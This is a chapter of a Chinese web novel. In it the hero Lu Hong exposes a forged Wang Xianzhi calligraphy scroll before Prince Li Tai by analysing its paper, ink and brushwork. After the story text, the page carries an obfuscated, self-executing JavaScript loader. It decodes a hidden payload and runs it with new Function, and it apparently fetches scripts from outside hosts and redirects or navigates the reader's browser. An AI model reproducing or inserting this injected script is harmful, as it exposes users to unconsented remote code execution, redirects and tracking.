第五卷 第十二章 原来是赝品(1 / 2)

    鸿见了王献之的《江州帖》,未置一词。李泰对卢见卢鸿未说话,微一思忖,开言道:“卢公子本是书道名家,更精于赏鉴。适才小王见卢公子似有所见,何不当场指教,以启茅塞?”

    见李泰出言相询,卢鸿心道终究是躲不过去,又不愿违心胡说,只得说道:“魏王所得这卷《江州帖》,虽然书法精绝,于相传的大令书迹极为相似,但观其笔墨纸张,却多有可疑之处。只怕此卷,乃是后人伪造的赝品。”

    卢鸿话音才落,众人齐齐一惊,便有人出声道:“卢公子此言,却是何意?”

    卢鸿尚未出声,座中又有一人道:“卢鸿公子未免太过无礼了吧?座中诸公,哪一位不是精于鉴古的方家,均以此卷为真迹无疑。你小小年纪,略有些虚名,便做此大言以欺世,却不要贻笑大方才好。”

    众人转头一看,出声的乃是一位中年人。此人本是魏王府中一位西席,人皆称之为宁先生。这位宁先生估计也是以书道闻名,适才也曾对这卷《江州帖》赞赏不已。此时听了卢鸿之言,便出语相诘。

    众人也多是附和此说,旁边的陆清羽也待说些什么,只是见了卢鸿淡定的眼神,忽然间一阵心虚,将到了口边的话又咽了下去。

    此时李泰出声道:“诸位请稍安勿燥。”复又转身对卢鸿说:“不瞒卢公子,便是本王。也曾阅过多卷大令真迹。而观此卷,确应是大令手书无疑,笔法精神,更是所观书迹中的上等佳作,在在均于书中所载《江州帖》相符,故定为真迹。不知卢公子因何断其为伪?”

    卢鸿点头说:“一般世间所见书法赝品,多为硬黄纸响拓而成。此书用纸,显为粉纸。而非腊纸。且字迹绝无勾摹痕迹。故看来确实极似真迹。想来诸君,也多因此而认其为真。”

    众人听了,均点头称是。卢鸿所说硬黄纸,乃是唐时以腊制纸,并染为黄色,质地坚韧,莹澈透明。欲要复制书法作品时。将硬黄纸覆于书作之上,钩勒出原字笔画外廓,然后再以墨填充,称之为“响拓”。因为唐时天子李世民,广搜王羲之书,既有所得,其中精品,往往命人以响拓之法勾摹。后世所见书圣书迹。基本上都是唐时响拓之作。

    卢鸿又说:“此卷书法。若说其笔法字迹,确是极似小王风骨。但我等鉴古之人,除观其书法手段之外。更应着重视其纸墨印押等细节,方可洞察真伪。”说着以手指着书卷说:“诸君请先看此卷用纸。晋时二王等所用纸张,一般称之为‘麻黄’纸,乃是以麻纸,涂粉制,染以黄,故称麻黄。而此卷书法用纸,虽然看来也是涂粉制后染黄地,但其用纸,却非是麻纸,而是桑皮纸。”

    唐时麻纸逐渐沦为低档用纸,制笺用的纸张,多为皮纸,如皮最为常见,也有桑皮纸。如卢鸿所制的檀皮纸,近来也渐渐出现,那麻纸已经颇为少见。若再寻麻纸所制的麻黄纸,只怕也是无处可得了。

    众人少有如卢鸿般精于制纸的,但经卢鸿指点纤维粗细及长短等特点,也略能分辩。

    卢鸿又说:“这桑皮纸传入中原时代较晚,皮纸工艺也是近百年来方才盛行,东晋之时,绝无得见。因此小可敢断定,这卷书法,绝无可能是晋时旧物。”

    卢鸿停顿一下,又继续说道:“除了纸张不对以外,此卷书法的墨色也略显浮燥。因自古以来,纸张均须涂布制后方可书写。因此墨迹落于纸面上后,渗入颇浅。只有存放一定年份,那墨色才能渐渐深入纸张,直透纸背。虽然此卷经过装裱,无法查看纸背墨色,但观其墨色浮于纸面,可知其年代不会特别久远。此外还有一点,如那般流传数百年的书迹,不唯墨色渗化,且纸墨相生,墨色必然集中于书迹线条中间。只要手持书卷,对着光线照看,那书迹中间必然有一道深线,宛如天成一般。且线条边缘,也同样变得深重,清晰分明,显得书迹更为流畅。诸位可对照其他几卷晋时书迹,一看便知。”

    众人听了,纷纷取过前边几卷晋人真迹来,对照光线观看。果然书迹中间,均有一道深线,且墨色入纸深沉,极为自然精彩。再看这卷《江州帖》,墨色浮于纸面,对照光线,一目了然。

    萧德言叹道:“今日真是得益多矣!在下素来以为,于书道所见颇深,不想今天听了卢公子所言,方知浅陋。只是这卷赝品,不知是何人所制,观其笔法,实在到了以假乱真的程度。”

    卢鸿听了点点头说:“此卷书迹,做伪者或是手头有所参照,故其形态极似大令手迹。只是此做

    然书法极佳,但毕竟也有破绽。”

    听了此言,方才置疑地宁先生便问道:“以卢公子所见,此卷书法于书道之上,尚有何破绽?”听了刚才卢鸿分析纸墨等言,这宁先生也不再如适才般托大,言辞颇为客气。

    卢鸿说:“诸位均精于书道,自然知道,古人作书,与时人不同。古人无高桌大椅,作书之人,亦是跪坐于榻,左手持竹简,右手持笔而书。后来以纸代简,仍是左手持卷纸,右手持笔。以此法做书,指掌腕肘,均灵活自然。而笔落于纸上,自然形成两头尖、中腹粗地中锋笔迹,且笔迹使转如意,圆致生动。”

    众人听了,其中精于书道地,自然清楚其中关节。更有人以手虚比做书,连表赞同。

    卢鸿又指向面前的书卷说:“请诸位细看此书起收之处。虽然做书之人也竭力模仿前人笔法,但此人必然是于桌案上书写。因为桌案上纸张平铺,做书之人手腕与桌面,不如持纸书写之时角度自然。因此入笔收笔时,角度也有所变化,总须以提按分别粗细,难免便显示出笔锋变化,不能如真迹般中锋圆转,不留痕迹。”

    众人再细细观看,果然此卷虽然乍看极似古人笔法,但出入笔锋,总需略见扭转提按之处,比之真迹自然变化,确是不同。

    卢鸿悠然说:“综上纸、墨、笔法破绽可知,此卷应为书道高手,拟照大令书迹所造赝品,又经伪饰,故颇为精彩。据小可胡乱猜想,踞今不过数十年至上百年的时间。只是究竟何方高手,有此等手段,就不得而知了。”

    卢鸿话音方落,便听李泰鼓掌赞道:“精采之至!听君一席话,胜读十年书。今日方知卢公子才占八斗,确是名至实归。”

!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();